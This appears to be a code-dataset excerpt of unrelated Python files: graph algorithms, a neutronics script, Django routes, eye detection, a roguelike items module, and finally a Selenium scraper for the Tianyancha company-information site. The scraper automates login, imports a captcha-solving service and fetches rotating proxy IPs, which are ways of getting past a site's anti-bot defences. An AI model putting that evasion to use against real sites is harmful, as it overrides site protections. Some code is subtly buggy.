writer.writerow(['name','location','description','moveable','wearable'])\n for key in keys:\n item = self.items[key]\n writer.writerow(item.to_seq())\n\n with open('saved_player.csv', 'w') as f:\n writer = csv.writer(f,lineterminator='\\n')\n writer.writerow(['location'])\n writer.writerow(self.player.to_seq())\n\n def load_game(self):\n \"\"\" Loads a previously saved game state from file \"\"\"\n display(\"loading the game\\n...\\n...\\n...\")\n self.load_locations('saved_locations.csv')\n self.load_items('saved_items.csv')\n self.load_player(\"saved_player.csv\")\n display(self.player.look())\n\n def lookup_item(self, name):\n if name in self.items:\n return self.items[name]\n else:\n return None\n\n def check_states(self):\n if self.player.has_item(self.items['PIG']) and self.player.is_wearing(self.items['HAT']):\n display(\"You have the pig and you're wearing the hat. Very good.\")\n","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":7333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"134546295","text":"#DijkstraAlgorithm\nimport sys\ninput = sys.stdin.readline\nINF = int(1e9)\n\nn, m = 6, 11\nstart = 1\ngraph = [[] for i in range(n+1)]\nvisited = [False] * (n+1)\ndistance = [INF] * (n+1)\n\ngraph = [\n [],\n [(2, 2), (3, 3), (4, 1)],\n [(3, 3), (4, 2)],\n [(2, 3), (6, 5)],\n [(3, 3), (5, 1)],\n [(3, 1), (6, 2)],\n []\n]\n\n# return unvisited node index which is shortest\ndef get_smallest_node():\n min_value = INF\n index = 0\n for i in range(1, n+1):\n if distance[i] < min_value and not visited[i]:\n min_value = distance[i]\n index = i\n return index\n\ndef dijkstra(start):\n # distance of start node is 0\n distance[start] = 0\n visited[start] = True\n for j in graph[start]:\n distance[j[0]] = j[1]\n\n for i in range(n-1):\n now = get_smallest_node()\n visited[now] = True\n for j in graph[now]:\n cost = distance[now] + j[1]\n if cost < distance[j[0]]:\n distance[j[0]] = cost\n \ndijkstra(start)\n\nfor i in range(1, n+1):\n if distance[i] == INF:\n print(\"INFINITY\")\n else:\n print(distance[i])\n\n#priorityQueue and Heap\nimport heapq\n\n#heapSort\ndef minHeap(iterable):\n h = []\n result = []\n for value in iterable:\n heapq.heappush(h, value)\n \n for i in range(len(h)):\n result.append(heapq.heappop(h))\n return result\n\ndef maxHeap(iterable):\n h = []\n result = []\n for value in iterable:\n heapq.heappush(h, -value)\n \n for i in range(len(h)):\n result.append(-heapq.heappop(h))\n return result\n\nmess = [1, 3, 5, 7, 9 ,2, 4, 6, 8, 0]\nminh = minHeap(mess)\nmaxh = maxHeap(mess)\nprint(minh)\nprint(maxh)\n\ndef dijkstar_heap(start):\n q = []\n heapq.heappush(q, (0, start))\n distance[start] = 0\n while q:\n dist, now = heapq.heappop(q)\n\n # check whether the node is visited \n if distance[now] < dist:\n continue\n\n for i in graph[now]:\n cost = dist + i[1]\n if cost < distance[i[0]]:\n distance[i[0]] = cost\n heapq.heappush(q, (cost, i[0]))\n\ndijkstar_heap(start)\n\nfor i in range(1, n+1):\n if distance[i] == INF:\n print(\"INFINITY\")\n else:\n print(distance[i])\n\n#FloydWarshall distance from every node to every node\n#dynamic algorithm with 2 dimension table \n#D_(ab) = min(D_(ab), D_(ak)+ D_(kb))\n\nn = 4\n\ngraph = [\n [],\n [[], 0, 4, INF, 6],\n [[], 3, 0, 7, INF],\n [[], 5, INF, 0, 4],\n [[], INF, INF, 2, 0]\n]\n\nfor k in range(1, n+1):\n for a in range(1, n+1):\n for b in range(1, n+1):\n graph[a][b] = min(graph[a][b], graph[a][k] + graph[k][b])\n\nfor a in range(1, n+1):\n for b in range(1, n+1):\n if graph[a][b] == INF:\n print(\"INFINITY\", end=\" \")\n else:\n print(graph[a][b], end=\" \")\n print()\n\n#example\nn, m, start= 3, 2, 1\n\ngraph = [\n [],\n [(2, 4), (3, 2)],\n [],\n []\n]\n\nINF = int(1e9)\ndistance = [INF] * (n+1)\n\nimport heapq\n#import sys\n#input = sys.stdin.realine\n\ndef dijkstra(start):\n q = []\n heapq.heappush(q, (0, start))\n distance[start] = 0\n while q:\n dist, now = heapq.heappop(q)\n if distance[now] < dist:\n continue\n for i in graph[now]:\n cost = dist + i[1]\n if cost < distance[i[0]]:\n distance[i[0]] = cost\n heapq.heappush(q, (cost, i[0]))\n\ndijkstra(start)\n\ncount = 0\nmax_distance = 0\nfor d in distance:\n if d != 1e9:\n count += 1\n max_distance = max(max_distance, d)\n\nprint(count-1, max_distance)\n\n#futureCity\nn, m = 5, 7\nx, k = 4, 5 \ngraph = [\n [INF,INF,INF,INF,INF,INF],\n [INF, 0, 1, 1, 1, INF],\n [INF, 1, 0, INF, 1, INF],\n [INF, 1, INF, 0, 1, 1],\n [INF, 1, 1, 1, 0, 1],\n [INF, INF, INF, 1, 1,0]\n ]\n\nfor k in range(1, n+1):\n for a in range(1, n+1):\n for b in range(1, n+1):\n graph[a][b] = min(graph[a][b], graph[a][k] + graph[k][b])\n\ndistance = graph[1][k] + graph[k][x]\n\nif distance >= INF:\n print(\"-1\")\nelse:\n print(distance)","sub_path":"7_shortestPath.py","file_name":"7_shortestPath.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"353306105","text":"\"\"\" Neutronics Pre-Lecture to-do\r\n\"\"\"\r\n\r\n# Imports ===================================================================\r\nimport numpy as np\r\nimport sympy as sp\r\nimport matplotlib.pyplot as plt\r\n\r\n# Bring in cross section data ===============================================\r\nE1, U238_ng = np.loadtxt('Data/U238_NG.txt', skiprows=1, unpack=True, delimiter=',')\r\nE2, U238_es = np.loadtxt('Data/U238_ES.txt', skiprows=1, unpack=True, delimiter=',')\r\nE3, H1_es = np.loadtxt('Data/H1_ES.txt', skiprows=1, unpack=True, delimiter=',')\r\n\r\nEmesh = np.logspace(-1, 3, 2000)\r\nU238_ng = np.interp(Emesh, E1, U238_ng)\r\nU238_es = np.interp(Emesh, E2, U238_es)\r\nH1_es = np.interp(Emesh, E3, H1_es)\r\nU238_tot = U238_ng + U238_es\r\nplt.rcParams.update({'font.size': 18})\r\nfig, ax = plt.subplots(nrows=1, ncols=1, figsize=(12,8))\r\nax.loglog(Emesh, U238_ng)\r\nax.loglog(Emesh, U238_es)\r\nax.loglog(Emesh, H1_es)\r\nplt.tight_layout(), plt.grid()\r\nplt.xlabel('Energy [eV]'), plt.ylabel('$\\sigma(E) [Barns]$')\r\nplt.show()\r\n\r\n# ============================================================================\r\ndef scatter_probability(E_i, E_j, alpha) :\r\n p = (1.0/E_j/(1.0-alpha)) * 1.0*((E_i >= alpha*E_j))\r\n return p \r\n\r\n\r\ndef compute_spectrum(E, Sigma_t, Sigma_s, N, A):\r\n alpha = ((A-1)/(A+1))**2\r\n N_E = len(E)\r\n phi = np.zeros(N_E)\r\n phi[N_E-1] = 1.0\r\n for i in range(N_E-2, -1, -1) :\r\n Q_i = 0.0\r\n for j in range(N_E-1, i, -1) :\r\n dE = E[j] - E[j-1]\r\n Q_i += phi[j] * (Sigma_s[j]*N) * scatter_probability(E[i], E[j], alpha) * dE\r\n phi[i] = Q_i / Sigma_t[i]\r\n return phi\r\n\r\n# Functions ==================================================================\r\ndef phinr(sd, st, E):\r\n return 1 / (E*(st+sd))\r\n\r\ndef phiwr(sd, sa, E):\r\n return 1 / (E*(sa+sd))\r\n\r\nsd = 100*H1_es\r\nfig, ax = plt.subplots(nrows=1, ncols=1, figsize=(12,8))\r\nax.loglog(Emesh, phinr(sd,U238_tot,Emesh)/phinr(sd,U238_tot,Emesh)[-1])\r\nax.loglog(Emesh, phiwr(sd,U238_ng,Emesh)/phiwr(sd,U238_ng,Emesh)[-1])\r\nax.loglog(Emesh, 1/Emesh*Emesh[-1])\r\nplt.xlabel('Energy [eV]'), plt.ylabel('Cross Section [Barns]')\r\nplt.legend(['$\\phi_{nr}$','$\\phi_{wr}$','1/E'])\r\nplt.tight_layout(), plt.grid()\r\n\r\nsigt = 1.0*(U238_tot)+100.0*H1_es\r\nphi1 = compute_spectrum(Emesh, sigt, U238_es, 1, 238) \r\nphi2 = compute_spectrum(Emesh, sigt, H1_es, 100, 1) \r\nphi = phi1+phi2\r\nax.loglog(Emesh, phi)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Homework/HW3/make_phi.py","file_name":"make_phi.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"58209990","text":"\"\"\"bank URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.urls import path\nfrom . import views\nurlpatterns = [\n path('',views.home),\n path('adminaccount/',views.adminAccount),\n path('User/',views.User),\n path('homeloan/successfull/',views.successfull),\n # path('homeloan/',views.startEthereum),\n path('home/',views.home),\n path('homeloan/',views.homeloan),\n path('emical/',views.index),\n path('about/',views.about),\n path('successfull/',views.successfull),\n # path('startEthereum/',views.reset),\n \n\n\n]\n","sub_path":"myapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"257391323","text":"from threading import local\n\n_blah = local()\n\nclass StopThatShit(Exception):\n pass\n\ndef patch():\n from django.db.backends import util\n from django import template\n \n class StopQueryingCursorWrapper(util.CursorWrapper):\n def __init__(self, cursor, connection):\n if getattr(_blah, 'rendering', False):\n raise StopThatShit('Stop executing queries in your templates!')\n super(StopQueryingCursorWrapper, self).__init__(cursor, connection)\n util.CursorWrapper = StopQueryingCursorWrapper\n\n class StopQueryingTemplate(template.Template):\n def render(self, context):\n _blah.rendering = True\n try:\n super(StopQueryingTemplate, self).__init__(context)\n finally:\n _blah.rendering = False\n template.Template = StopQueryingTemplate","sub_path":"all-gists/868061/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"646267977","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport matplotlib.pylab as plt\nimport tensorflow as tf\nimport os\nfrom os.path import join\nfrom glob import glob\nfrom tqdm import tqdm\nimport numpy as np\nimport cv2\nimport math\nimport dlib\nimport argparse\n\ndef str2bool(v):\n if isinstance(v, bool):\n return v\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n\nargs = argparse.ArgumentParser()\n\n# hyperparameters\nargs.add_argument('show_substep', type=str2bool, nargs='?', default=False)\n\nconfig = args.parse_args()\n\n\n\nimg = cv2.imread('./images/image.png')\nprint (img.shape)\n\nif config.show_substep:\n plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\n plt.show()\n\nimg_bgr = img.copy()\n\ndetector_hog = dlib.get_frontal_face_detector() # detector 선언\nlandmark_predictor = dlib.shape_predictor('./models/shape_predictor_68_face_landmarks.dat')\n\nimg_rgb = cv2.cvtColor(img_bgr, cv2.COLOR_BGR2RGB)\ndlib_rects = detector_hog(img_rgb, 1) # (image, num of img pyramid)\n\nlist_landmarks = []\nfor dlib_rect in dlib_rects:\n points = landmark_predictor(img_rgb, dlib_rect)\n list_points = list(map(lambda p: (p.x, p.y), points.parts()))\n list_landmarks.append(list_points)\n\nfor dlib_rect in dlib_rects:\n l = dlib_rect.left()\n t = dlib_rect.top()\n r = dlib_rect.right()\n b = dlib_rect.bottom()\n cv2.rectangle(img_rgb, (l,t), (r,b), (0,255,0), 2, lineType=cv2.LINE_AA)\n\nfor idx, point in enumerate(list_points):\n cv2.circle(img_rgb, point, 3, (255, 255, 0), -1) # yellow\n\nif config.show_substep:\n plt.imshow(img_rgb)\n plt.show()\n\n\ndef eye_crop(bgr_img, landmark):\n # dlib eye landmark: 36~41 (6), 42~47 (6)\n np_left_eye_points = np.array(landmark[36:42])\n np_right_eye_points = np.array(landmark[42:48])\n\n np_left_tl = np_left_eye_points.min(axis=0)\n np_left_br = np_left_eye_points.max(axis=0)\n np_right_tl = np_right_eye_points.min(axis=0)\n np_right_br = np_right_eye_points.max(axis=0)\n\n list_left_tl = np_left_tl.tolist()\n list_left_br = np_left_br.tolist()\n list_right_tl = np_right_tl.tolist()\n list_right_br = np_right_br.tolist()\n\n left_eye_size = np_left_br - np_left_tl\n right_eye_size = np_right_br - np_right_tl\n\n ### if eye size is small\n if left_eye_size[1] < 5:\n margin = 1\n else:\n margin = 6\n\n img_left_eye = bgr_img[np_left_tl[1]-margin:np_left_br[1]+margin, np_left_tl[0]-margin//2:np_left_br[0]+margin//2]\n img_right_eye = bgr_img[np_right_tl[1]-margin:np_right_br[1]+margin, np_right_tl[0]-margin//2:np_right_br[0]+margin//2]\n\n return [img_left_eye, img_right_eye]\n\n# 눈 이미지 crop\nimg_left_eye, img_right_eye = eye_crop(img_bgr, list_landmarks[0])\n\nprint (img_left_eye.shape) # (26, 47, 3)\n\nif config.show_substep:\n plt.imshow(cv2.cvtColor(img_right_eye, cv2.COLOR_BGR2RGB))\n plt.show()\n\n \n# 눈 이미지에서 중심을 찾는 함수\ndef findCenterPoint(gray_eye, str_direction='left'):\n if gray_eye is None:\n return [0, 0]\n filtered_eye = cv2.bilateralFilter(gray_eye, 7, 75, 75)\n filtered_eye = cv2.bilateralFilter(filtered_eye, 7, 75, 75)\n filtered_eye = cv2.bilateralFilter(filtered_eye, 7, 75, 75)\n\n # 2D images -> 1D signals\n row_sum = 255 - np.sum(filtered_eye, axis=0)//gray_eye.shape[0]\n col_sum = 255 - np.sum(filtered_eye, axis=1)//gray_eye.shape[1]\n\n # normalization & stabilization\n def vector_normalization(vector):\n vector = vector.astype(np.float32)\n vector = (vector-vector.min())/(vector.max()-vector.min()+1e-6)*255\n vector = vector.astype(np.uint8)\n vector = cv2.blur(vector, (5,1)).reshape((vector.shape[0],))\n vector = cv2.blur(vector, (5,1)).reshape((vector.shape[0],)) \n return vector\n row_sum = vector_normalization(row_sum)\n col_sum = vector_normalization(col_sum)\n\n def findOptimalCenter(gray_eye, vector, str_axis='x'):\n axis = 1 if str_axis == 'x' else 0\n center_from_start = np.argmax(vector)\n center_from_end = gray_eye.shape[axis]-1 - np.argmax(np.flip(vector,axis=0))\n return (center_from_end + center_from_start) // 2\n\n # x 축 center 를 찾는 알고리즘을 mean shift 로 대체합니다.\n # center_x = findOptimalCenter(gray_eye, row_sum, 'x')\n center_y = findOptimalCenter(gray_eye, col_sum, 'y')\n\n # 수정된 부분\n inv_eye = (255 - filtered_eye).astype(np.float32)\n inv_eye = (255*(inv_eye - inv_eye.min())/(inv_eye.max()-inv_eye.min())).astype(np.uint8)\n\n resized_inv_eye = cv2.resize(inv_eye, (inv_eye.shape[1]//3, inv_eye.shape[0]//3))\n init_point = np.unravel_index(np.argmax(resized_inv_eye),resized_inv_eye.shape)\n\n x_candidate = init_point[1]*3 + 1\n for idx in range(10):\n temp_sum = row_sum[x_candidate-2:x_candidate+3].sum()\n if temp_sum == 0:\n break\n normalized_row_sum_part = row_sum[x_candidate-2:x_candidate+3].astype(np.float32)//temp_sum\n moving_factor = normalized_row_sum_part[3:5].sum() - normalized_row_sum_part[0:2].sum()\n if moving_factor > 0.0:\n x_candidate += 1\n elif moving_factor < 0.0:\n x_candidate -= 1\n\n center_x = x_candidate\n\n if center_x >= gray_eye.shape[1]-2 or center_x <= 2:\n center_x = -1\n elif center_y >= gray_eye.shape[0]-1 or center_y <= 1:\n center_y = -1\n\n return [center_x, center_y]\n\n\n# 눈동자 검출 wrapper 함수\ndef detectPupil(bgr_img, landmark):\n if landmark is None:\n return\n\n img_eyes = []\n img_eyes = eye_crop(bgr_img, landmark)\n\n gray_left_eye = cv2.cvtColor(img_eyes[0], cv2.COLOR_BGR2GRAY)\n gray_right_eye = cv2.cvtColor(img_eyes[1], cv2.COLOR_BGR2GRAY)\n\n if gray_left_eye is None or gray_right_eye is None:\n return \n\n left_center_x, left_center_y = findCenterPoint(gray_left_eye,'left')\n right_center_x, right_center_y = findCenterPoint(gray_right_eye,'right')\n\n return [left_center_x, left_center_y, right_center_x, right_center_y, gray_left_eye.shape, gray_right_eye.shape]\n\n# 눈동자 중심 좌표 출력\nleft_center_x, left_center_y, right_center_x, right_center_y, le_shape, re_shape = detectPupil(img_bgr, list_landmarks[0])\nprint ((left_center_x, left_center_y), (right_center_x, right_center_y), le_shape, re_shape)\n\n# 이미지 출력\nshow = img_right_eye.copy()\n\nshow = cv2.circle(show, (right_center_x, right_center_y), 3, (0,255,255), -1)\n\nplt.imshow(cv2.cvtColor(show, cv2.COLOR_BGR2RGB))\nplt.show()\n\n","sub_path":"AIFFEL/GOING DEEPER/GOING DEEPER_16/Project/eye_center_meanshift.py","file_name":"eye_center_meanshift.py","file_ext":"py","file_size_in_byte":6632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"610068474","text":"from globals import CAM_HEIGHT, CAM_WIDTH\r\nimport globals\r\nimport wlib\r\nimport curses \r\nimport misc\r\nimport display\r\nfrom random import choice, randint\r\n\r\ndef healing_potion_effect(player, creatures, m, objects, global_objects, screen, global_cs, self):\r\n player.hp += 2\r\n if player.hp > player.hp_limit:\r\n player.hp = player.hp_limit\r\n globals.news.append(\"but you couldn't heal much\")\r\n globals.news.append(\"you drank a healing potion. glug, glug\")\r\n player.inventory.remove(self)\r\n\r\ndef speed_potion_effect(player,creatures,m, objects, global_objects, screen, global_cs, self):\r\n o = filter(lambda x: x.icon != \"w\", creatures)\r\n for x in o:\r\n x.stun_timer = 3\r\n globals.news.append(\"you drank a speed potion. glug, glug\")\r\n player.inventory.remove(self)\r\ndef strength_potion_effect(player,creatures, m, objects, global_objects, screen, global_cs, self):\r\n player.hp_limit += 1\r\n globals.news.append(\"you drank a strength potion. glug, glug\")\r\n player.inventory.remove(self)\r\n \r\ndef invisibility_potion_effect(player, creatures,m, objects, global_objects, screen, global_cs, self):\r\n player.invisibility_timer = 8\r\n globals.news.append(\"you drank an invisibility potion. glug, glug\")\r\n player.inventory.remove(self)\r\n \r\ndef flower_effect(player, creatures, m, objects, global_objects, screen, global_cs, self):\r\n flower = wlib.Object(player.x, player.y, \"*\", 14, \"a flower\", \"that flower smells good\" )\r\n objects.append(flower)\r\n global_objects.append(flower)\r\n globals.news.append(\"you planted a flower\")\r\n player.inventory.remove(self)\r\n \r\ndef sheild_effect(player, creatures, m, objects, global_objects, screen, global_cs, self):\r\n sheild = wlib.Object(player.x, player.y, \"]\", 7, \"a sheild\", \"a sheild\" )\r\n objects.append(sheild)\r\n global_objects.append(sheild)\r\n globals.news.append(\"you threw your sheild... why?\")\r\n player.inventory.remove(self)\r\n \r\ndef apple_effect(player, creatures, m, objects, global_objects, screen, global_cs, self):\r\n globals.news.append(\"you ate an apple! munch munch\")\r\n player.fullness += 20.0\r\n player.inventory.remove(self)\r\n \r\ndef shoot(player, objects, global_objects, xv, yv, m, creatures, global_cs): \r\n a = wlib.Object(player.x, player.y, \"/\", 1, \"an arrow\", \"an arrow\" )\r\n for x in range(5):\r\n a.y += yv\r\n a.x += xv\r\n cl = list(filter(lambda x: misc.collide(x, a), creatures)) \r\n if cl != []:\r\n c = cl[0]\r\n if c.icon == \"v\":\r\n wlib.kill_v(c, player, objects, global_objects, m, creatures, global_cs)\r\n else:\r\n creatures.remove(c)\r\n globals.news.append(\"you killed a guard\")\r\n body = wlib.Object(c.x, c.y, \"%\", 1, \"\", \"A dead villager. Eeeewwww.\")\r\n objects.append(body)\r\n elif m[a.y][a.x] not in wlib.walkable() or list(filter(lambda x: misc.collide(x, a), objects)) != []:\r\n a.y -= yv\r\n a.x -= xv\r\n break\r\n objects.append(a)\r\n global_objects.append(a)\r\n \r\ndef bow_effect(player, creatures, m, objects, global_objects, screen, global_cs, self):\r\n cam_y = player.y - int(CAM_HEIGHT / 2)\r\n cam_x = player.x - int(CAM_WIDTH / 2)\r\n x = player.x - cam_x\r\n y = player.y - cam_y\r\n arrows = list(filter(lambda x: x.icon == \"/\", player.inventory))\r\n if arrows != []:\r\n screen.addstr(1, 1, \"Wich way would you like to shoot the arrow?\")\r\n screen.addstr(y - 1, x, \"^\", curses.color_pair(0))\r\n screen.addstr(y + 1, x, \"v\", curses.color_pair(0))\r\n screen.addstr(y, x + 1, \">\", curses.color_pair(0))\r\n screen.addstr(y, x - 1, \"<\", curses.color_pair(0))\r\n inp = screen.getch()\r\n if inp == curses.KEY_DOWN:\r\n shoot(player, objects, global_objects, 0, 1, m, creatures, global_cs) \r\n elif inp == curses.KEY_UP:\r\n shoot(player, objects, global_objects, 0, -1, m, creatures, global_cs) \r\n elif inp == curses.KEY_LEFT:\r\n shoot(player, objects, global_objects, -1, 0, m, creatures, global_cs) \r\n elif inp == curses.KEY_RIGHT: \r\n shoot(player, objects, global_objects, 1, 0, m, creatures, global_cs)\r\n player.inventory.remove(arrows[0])\r\n self.hp -= 1\r\n \r\ndef axe_effect(player, creatures, m, objects, global_objects, screen, global_cs, self):\r\n junk = list(filter(lambda x: x.icon == \"?\", objects))\r\n junk = map(lambda w: (w, misc.distance(w, player)), junk)\r\n junk = list(filter(lambda b: b[1] <= 1, junk))\r\n if junk == []:\r\n destroy_wood(player, m)\r\n else:\r\n b = min(junk, key=lambda t: t[1])[0]\r\n objects.remove(b)\r\n global_objects.remove(b)\r\n globals.news.append(\"bash!\")\r\n player.inventory.append(make_item(\"a piece of wood\"))\r\n \r\ndef destroy_wood(player, m):\r\n wood = []\r\n p_neighbors = scan_map(player.x - 1, player.y - 1, 3, 3, m)\r\n wood = list(filter(lambda t: t[2] in (1, 8), p_neighbors))\r\n if wood != []:\r\n wy, wx, tilenum = choice(wood)\r\n m[wy][wx] = 2\r\n globals.news.append(\"chop!\")\r\n player.inventory.append(make_item(\"a piece of wood\"))\r\ndef scan_map(start_x, start_y, width, height, map):\r\n l = []\r\n for x in range(start_x, width + start_x):\r\n for y in range(start_y, height + start_y):\r\n t = (y, x, map[y][x])\r\n l.append(t)\r\n return l\r\n \r\ntest_map = [[1,1,2,1],\r\n [1,1,3,5],\r\n [1,1,1,1],\r\n [1,1,2,3]]\r\n \r\ntest_result = scan_map(1,1,2,2,test_map) \r\ntile_nums = list(map(lambda t: t[2], test_result))\r\ntile_nums.sort()\r\nassert(len(test_result) == 4)\r\nassert(tile_nums == [1,1,1,3])\r\n\r\ndef wood_effect(player, creatures, m, objects, global_objects, screen, global_cs, self):\r\n cam_y = player.y - int(CAM_HEIGHT / 2)\r\n cam_x = player.x - int(CAM_WIDTH / 2)\r\n x = player.x - cam_x\r\n y = player.y - cam_y\r\n screen.addstr(1, 1, \"Were would you like to put the wood?\")\r\n screen.addstr(y - 1, x, \"#\", curses.color_pair(0))\r\n screen.addstr(y + 1, x, \"#\", curses.color_pair(0))\r\n screen.addstr(y, x + 1, \"#\", curses.color_pair(0))\r\n screen.addstr(y, x - 1, \"#\", curses.color_pair(0))\r\n inp = screen.getch() \r\n if inp == curses.KEY_DOWN:\r\n cord = (player.y + 1, player.x)\r\n elif inp == curses.KEY_UP:\r\n cord = (player.y - 1, player.x)\r\n elif inp == curses.KEY_LEFT:\r\n cord = (player.y, player.x - 1)\r\n elif inp == curses.KEY_RIGHT: \r\n cord = (player.y, player.x + 1)\r\n m[cord[0]][cord[1]] = 1\r\n player.inventory.remove(self)\r\n\r\ndef chest_effect(player, creatures, m, objects, global_objects, screen, global_cs, self):\r\n display.chest_screen(screen, self, player) \r\n\r\ndef teleport_effect(player, creatures, m, objects, global_objects, screen, global_cs, self):\r\n cam_y = player.y - int(CAM_HEIGHT / 2)\r\n cam_x = player.x - int(CAM_WIDTH / 2)\r\n x = player.x - cam_x\r\n y = player.y - cam_y\r\n screen.addstr(1, 1, \"Were would you like to teleport\")\r\n screen.addstr(y - 1, x, \"^\", curses.color_pair(0))\r\n screen.addstr(y + 1, x, \"V\", curses.color_pair(0))\r\n screen.addstr(y, x + 1, \">\", curses.color_pair(0))\r\n screen.addstr(y, x - 1, \"<\", curses.color_pair(0))\r\n inp = screen.getch() \r\n if inp == curses.KEY_DOWN:\r\n player.y += 100\r\n elif inp == curses.KEY_UP:\r\n player.y -= 100\r\n elif inp == curses.KEY_LEFT:\r\n player.x -= 100\r\n elif inp == curses.KEY_RIGHT: \r\n player.x += 100 \r\n \r\ndef amazon_effect(player, creatures, m, objects, global_objects, screen, global_cs, self):\r\n string = \"\"\r\n matches = []\r\n screen.addstr(1, 1, \"What would you like to buy\")\r\n \r\n while(True):\r\n screen.refresh()\r\n inp = screen.getch()\r\n ci = chr(inp)\r\n screen.clear()\r\n screen.addstr(1, 1, \"What would you like to buy\")\r\n if ci.lower() in \"abcdefghijklmnopqrstuvwxyz \": \r\n string += ci\r\n elif inp == 8:\r\n # Set =string = all of the characters in string except the last one\r\n string = string[0:len(string) - 1]\r\n elif ci in \"123456789\" and int(ci) <= len(matches):\r\n key = matches[int(ci) - 1]\r\n selected = items[key]\r\n if selected[3] <= player.gold:\r\n player.inventory.append(make_item(key))\r\n player.gold -= selected[3]\r\n break\r\n \r\n screen.addstr(2, 1, string)\r\n matches = list(filter(lambda name: string in name, items.keys()))\r\n y = 4\r\n for match in matches:\r\n cost = str(items[match][3] + 1)\r\n screen.addstr(y, 1, \"%d: %s %s - %s cost \"%(y - 3, items[match][1], match, cost))\r\n y += 1\r\n \r\n \r\n \r\n \r\nitems = { \"a healing potion\": (healing_potion_effect, \"8\", 13, 5)\r\n , \"a speed potion\": (speed_potion_effect, \"8\", 13, 4)\r\n , \"an invisibility potion\": (invisibility_potion_effect, \"8\", 13, 5)\r\n , \"a strength potion\": (strength_potion_effect, \"8\", 13, 5)\r\n , \"a sheild\": (sheild_effect, \"]\", 8, 5)\r\n , \"a bow\": (bow_effect, \"}\", 1, 6)\r\n , \"an arrow\": (lambda a, b, c, d, e, f, g, h: None, \"/\", 1, 3) \r\n , \"an apple\": (apple_effect, \"6\", 14, 5)\r\n , \"a flower\": (flower_effect, \"*\", 14, 1)\r\n , \"an axe\": (axe_effect, \"p\", 1, 5)\r\n , \"a piece of wood\": (wood_effect, \"=\", 2, 3)\r\n , \"a chest\": (chest_effect, \"=\", 21, 6)\r\n , \"a teleporter\" : (teleport_effect, \"X\", 21, 10)\r\n , \"amazon\": (amazon_effect, \"a\", 0, 7) \r\n } \r\n \r\ndef make_item(name, x=0, y=0):\r\n i = items[name]\r\n new_obj = wlib.Object(x,y, i[1], i[2], name, name)\r\n new_obj.cost = randint(i[3] - 1, i[3] + 1)\r\n #new_obj.effect = i[1]\r\n return new_obj\r\n","sub_path":"items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":9978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"97884783","text":"# 城市为单位 遍历关键字\nimport json\nimport random\nimport multiprocessing\nimport re\nfrom urllib.parse import quote\nimport PIL.Image\nimport io\nimport time\nfrom selenium.common.exceptions import TimeoutException\nfrom json.decoder import JSONDecodeError\nimport numpy as np\nimport selenium.webdriver\nfrom bs4 import BeautifulSoup\n# from fake_useragent import UserAgent\nimport requests, subprocess, webbrowser\nfrom selenium import webdriver\nfrom lxml import etree\nfrom tyc import chaojiying\nimport pymongo\n\nclass Tianyancha():\n\n # 常量定义\n url = 'https://www.tianyancha.com/login'\n\n def __init__(self, username, password,key):\n self.username = username\n self.password = password\n self.chromeOptions = webdriver.ChromeOptions()\n # proxy = \"--proxy-server=http://\" + '220.165.29.219:4221'\n # self.chromeOptions.add_argument(proxy)\n self.driver = webdriver.Chrome(chrome_options=self.chromeOptions)\n self.client = pymongo.MongoClient('', 27017)\n self.db = self.client['天眼查']\n self.proxy_ip = None\n self.key = key\n\n\n def get_proxy_ip(self,proxy_url):\n try:\n response = requests.get(proxy_url)\n if response.status_code == 200:\n proxy = response.text\n return proxy\n except requests.ConnectionError:\n return False\n\n # 登录天眼查\n def log_in(self):\n # 打开浏览器\n self.driver.get(self.url)\n\n # 模拟登陆\n time.sleep(1)\n self.driver.find_element_by_xpath(\"//*[@id='web-content']/div/div[2]/div/div[2]/div/div[3]/div[1]/div[2]\").\\\n click()\n time.sleep(1)\n self.driver.find_element_by_xpath(\n \"//*[@id='web-content']/div/div[2]/div/div[2]/div/div[3]/div[2]/div[2]/input\").send_keys(self.username)\n time.sleep(0.3)\n self.driver.find_element_by_xpath(\n \"//*[@id='web-content']/div/div[2]/div/div[2]/div/div[3]/div[2]/div[3]/input\"). \\\n send_keys(self.password)\n # time.sleep(8)\n self.driver.find_element_by_xpath(\n \"//*[@id='web-content']/div/div[2]/div/div[2]/div/div[3]/div[2]/div[5]\").click()\n time.sleep(8)\n return self.driver\n def search_key(self,key):\n time.sleep(1.5)\n input = self.driver.find_element_by_xpath(\"//*[@id='home-main-search']\")\n input.send_keys(key)\n time.sleep(1)\n submit = self.driver.find_element_by_xpath(\"//*[@id='web-content']/div/div[1]/div[2]/div/div/div[2]/div[2]/div[1]/div\")\n submit.click()\n html = self.driver.page_source\n time.sleep(0.5)\n self.zym(html)\n 